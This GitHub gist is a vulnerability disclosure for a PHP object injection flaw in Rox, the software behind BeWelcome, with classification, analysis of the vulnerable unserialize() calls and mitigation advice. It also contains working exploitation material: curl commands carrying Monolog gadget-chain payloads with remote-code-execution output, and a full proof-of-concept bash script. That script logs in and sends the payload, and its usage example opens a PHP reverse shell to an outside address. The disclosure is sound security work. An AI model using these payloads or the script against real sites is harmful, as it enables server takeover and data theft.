Skip to content

Instantly share code, notes, and snippets.

@mcdruid
Last active October 25, 2025 17:06
Show Gist options
  • Select an option

  • Save mcdruid/c0f7c42b28949c7d86cf77d0c674f398 to your computer and use it in GitHub Desktop.

Select an option

Save mcdruid/c0f7c42b28949c7d86cf77d0c674f398 to your computer and use it in GitHub Desktop.
Rox PHP Object Injection

Summary

Rox (the software running BeWelcome) has a PHP Object Injection vulnerability as a result of Deserialization of Untrusted Data.

(POP/) Gadget Chains exist in Rox (and its libraries) which allow Object Injection vulnerabilities to be exploited, for example to write arbitrary files or achieve Remote Code Execution.

Such an attack could result in the compromise of a site.

Timeline

Details of the Project

Vulnerability Classification

  • CWE-502: Deserialization of Untrusted Data
  • CAPEC-586: Object Injection
  • CVSS (v3): CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H 9.9 Critical
  • CVE: assignment pending

Vulnerable Code

A subset of functionality is handled by a Legacy Kernel which is assigned specific routes in \App\Routing\LegacyLoader::load.

The legacy kernel includes \RoxPostHandler to process HTTP POST requests.

\RoxPostHandler::getCallbackAction does the following:

        if (isset($post_args['formkit_memory_recovery'])) {
            $mem_from_recovery = unserialize(stripslashes(htmlspecialchars_decode($post_args['formkit_memory_recovery'])));
        } else {

If present, the POST parameter named formkit_memory_recovery is passed to PHP's unserialize() - after some processing - and this represents an Object Injection vulnerability.

Elsewhere the legacy kernel calls \RoxFrontRouter::initUser which does this:

        $member = $roxModelBase->getLoggedInMember();

        // try restoring session from memory cookie
        if (!$member) {
            $roxModelBase->restoreLoggedInMember();
        }

The "memory cookie" functionality is this:

    public function restoreLoggedInMember()
    {
        if ($memoryCookie = $this->getMemoryCookie())  {

...snip...

    /**
     * Reads the contents of the memory cookie (for "stay logged in")
     *
     * @return array/boolean Contents of cookie or FALSE
     */
    protected function getMemoryCookie() {
        if (!empty($_COOKIE['bwRemember'])
        && $_COOKIE['bwRemember'] != 'hijacked') {
            return unserialize($_COOKIE['bwRemember']);

So if restoreLoggedInMember was called, the contents of a user-supplied cookie would be passed to PHP's unserialize() which would also represent an Object Injection vulnerability.

However, it looks like all of the routes handled by the legacy kernel require authentication (they redirect to the login page), so the check for $member does not result in the "memory cookie" functionality running. This has not been tested extensively though; it may be possible to reach the vulnerable code without authentication.

Steps to Reproduce

As mentioned, the routes handled by the legacy kernel seem to require authentication. A test user is provided for development, and it seems to be typical that the application allows user registration with basic email activation required.

Exploiting the vulnerability therefore requires a valid session cookie, which can - for example - be extracted from a browser.

The formkit_memory_recovery parameter is passed through two functions before it is passed to unserialize():

  • stripslashes
  • htmlspecialchars_decode

Both of these functions have a corresponding function that does the opposite, so it's possible to pass a payload through e.g. addslashes before sending it to the application in order to neutralise the effect that stripslashes will have.

The same could be done with htmlspecialchars but this may not be necessary, depending on the payload.

Several of the vendored libraries included in Rox have Gadget Chains that can be used to exploit this vulnerability, many of which are included in the PHPGGC project: https://github.com/ambionics/phpggc

The following RCE Gadget Chains work:

  • Monolog/RCE1,2,5,6,7
  • Symfony/RCE11
  • Doctrine/RCE2

Other non-RCE gadgets have not been tested but it's likely some will work.

PHPGGC has a "wrapper" option which can be used to pass the serialized payload though addslashes. It doesn't seem to be necessary (or helpful) to call htmlspecialchars too. For example:

$ cat addslashes.php
<?php

function process_serialized($s) {
  return addslashes($s);
}

Example of using phpggc to generate a payload in a subshell, sending it to rox:

$ curl -s 'http://rox.ddev.site/polls' -b 'PHPSESSID=34c36762f9d639645db227eed88d3933' -d "formkit_memory_recovery=$(./phpggc --public-properties -f -w addslashes.php Monolog/RCE1 system 'uname -a')" | grep Linux

Linux rox-web 6.8.0-51-generic 

The output of uname demonstrates that RCE was successful.

Another example without the subshell:

$ curl -s 'http://rox.ddev.site/polls' -b 'PHPSESSID=34c36762f9d639645db227eed88d3933' -d 'formkit_memory_recovery=a:2:{i:7;O:37:\"Monolog\\Handler\\FingersCrossedHandler\":4:{s:16:\"\0*\0passthruLevel\";i:0;s:10:\"\0*\0handler\";r:2;s:9:\"\0*\0buffer\";a:1:{i:0;a:2:{i:0;s:7:\"date -u\";s:5:\"level\";i:0;}}s:13:\"\0*\0processors\";a:2:{i:0;s:3:\"pos\";i:1;s:6:\"system\";}}i:7;i:7;}' | grep 2025

Tue Jan 28 20:46:06 UTC 2025

More complicated payloads can be employed to e.g. achieve a reverse shell.

Simple PoC bash script which fetches a session cookie to run the exploit, given the user credentials:

$ ./rox_poc.sh http://rox.ddev.site member-2 password 'cat /etc/passwd | head -n5'
# csrf: b12c4285924ff5.7e2-EowZtaOIu8xExj73TN9KqQWcBt2NqVhXxbv2wp0.mbztcMZMjMzd8asKiGSeFJ0Y32bkS-_dnBQHp-G7rNWvh-9EtGvw-cH8nQ
# phpsess: PHPSESSID=42c48441704f2cfb2a3bb5b9406bc0fa
# auth_cookie: PHPSESSID=66537c8d858578fedc1ef342a32fb778
# element: s:26:"cat /etc/passwd | head -n5"
# payload: a:2:{i:7;O:32:\"Monolog\\Handler\\SyslogUdpHandler\":1:{s:9:\"\0*\0socket\";O:29:\"Monolog\\Handler\\BufferHandler\":7:{s:10:\"\0*\0handler\";r:3;s:13:\"\0*\0bufferSize\";i:-1;s:9:\"\0*\0buffer\";a:1:{i:0;a:2:{i:0;s:26:"cat /etc/passwd | head -n5";s:5:\"level\";N;}}s:8:\"\0*\0level\";N;s:14:\"\0*\0initialized\";b:1;s:14:\"\0*\0bufferLimit\";i:-1;s:13:\"\0*\0processors\";a:2:{i:0;s:7:\"current\";i:1;s:6:\"system\";}}}i:7;i:7;}

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync

Mitigation

The call to unserialize could be made safer by including the allowed_classes option to disable Object Injection:

https://www.php.net/manual/en/function.unserialize.php

...assuming it's not necessary for objects to be deserialized.

If possible, a better mitigation would be to replace the use of serialization with json_encode and json_decode.

#!/bin/bash
if [ "$#" -ne 4 ]; then
echo "Usage: $0 url username password command"
echo
echo "Examples:"
echo
echo "$0 http://rox.ddev.site member-2 password id"
echo "$0 http://rox.ddev.site member-2 password 'cat /etc/passwd | head -n5'"
echo "$0 http://rox.ddev.site member-2 password 'php -r '\''\$s=fsockopen(\\\\\"10.11.12.13\\\\\",1337);\$p=proc_open(\\\\\"/bin/bash\\\\\",[\$s,\$s,\$s],\$i);'\'''"
exit
fi
url="${1%/}" # 'http://rox.ddev.site' # remove trailing slash
username="$2" # 'member-2'
password="$3" # 'password'
cmd="$4"
# grab a csrf token and initial session cookie
tokens=$(curl -is "$url" | grep '_csrf_token\|PHPSESS')
phpsess=$(echo "$tokens" | grep -o 'PHPSESSID=.*; expires' | sed 's/; expires//g')
csrf=$(echo "$tokens" | grep -o '_csrf_token" value=".*">' | head -n1 | sed 's/_csrf_token" value="//g;s/">//g')
echo "# csrf: $csrf"
echo "# phpsess: $phpsess"
# get authenticated session cookie by logging in with valid creds
auth_cookie=$(curl -is "$url/login_check" -d "_username=$username&_password=$password&_csrf_token=$csrf" -b "$phpsess" | grep -o 'PHPSESSID=.*; expires' | sed 's/; expires//g')
echo "# auth_cookie: $auth_cookie"
count_chars="${#cmd}"
# try to account for slashes that will be removed before unserialize()
slashes="${cmd//[^\\]}"
num_slashes="${#slashes}"
let count_chars=$count_chars-$num_slashes
# e.g. s:8:\"uname -a\";
element="s:${count_chars}:\"$cmd\""
# phpggc -w addslashes.php --public-properties -f Monolog/RCE1 system 'command'
payload='a:2:{i:7;O:32:\"Monolog\\Handler\\SyslogUdpHandler\":1:{s:9:\"\0*\0socket\";O:29:\"Monolog\\Handler\\BufferHandler\":7:{s:10:\"\0*\0handler\";r:3;s:13:\"\0*\0bufferSize\";i:-1;s:9:\"\0*\0buffer\";a:1:{i:0;a:2:{i:0;~PLACEHOLDER~;s:5:\"level\";N;}}s:8:\"\0*\0level\";N;s:14:\"\0*\0initialized\";b:1;s:14:\"\0*\0bufferLimit\";i:-1;s:13:\"\0*\0processors\";a:2:{i:0;s:7:\"current\";i:1;s:6:\"system\";}}}i:7;i:7;}'
# This will only work if there are no ^ chars in the cmd
payload=$(echo $payload | sed "s^~PLACEHOLDER~^$element^")
echo "# element: $element"
echo "# payload: $payload"
echo
# send exploit
curl "$url/polls" -b "$auth_cookie" -d "formkit_memory_recovery=$payload"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment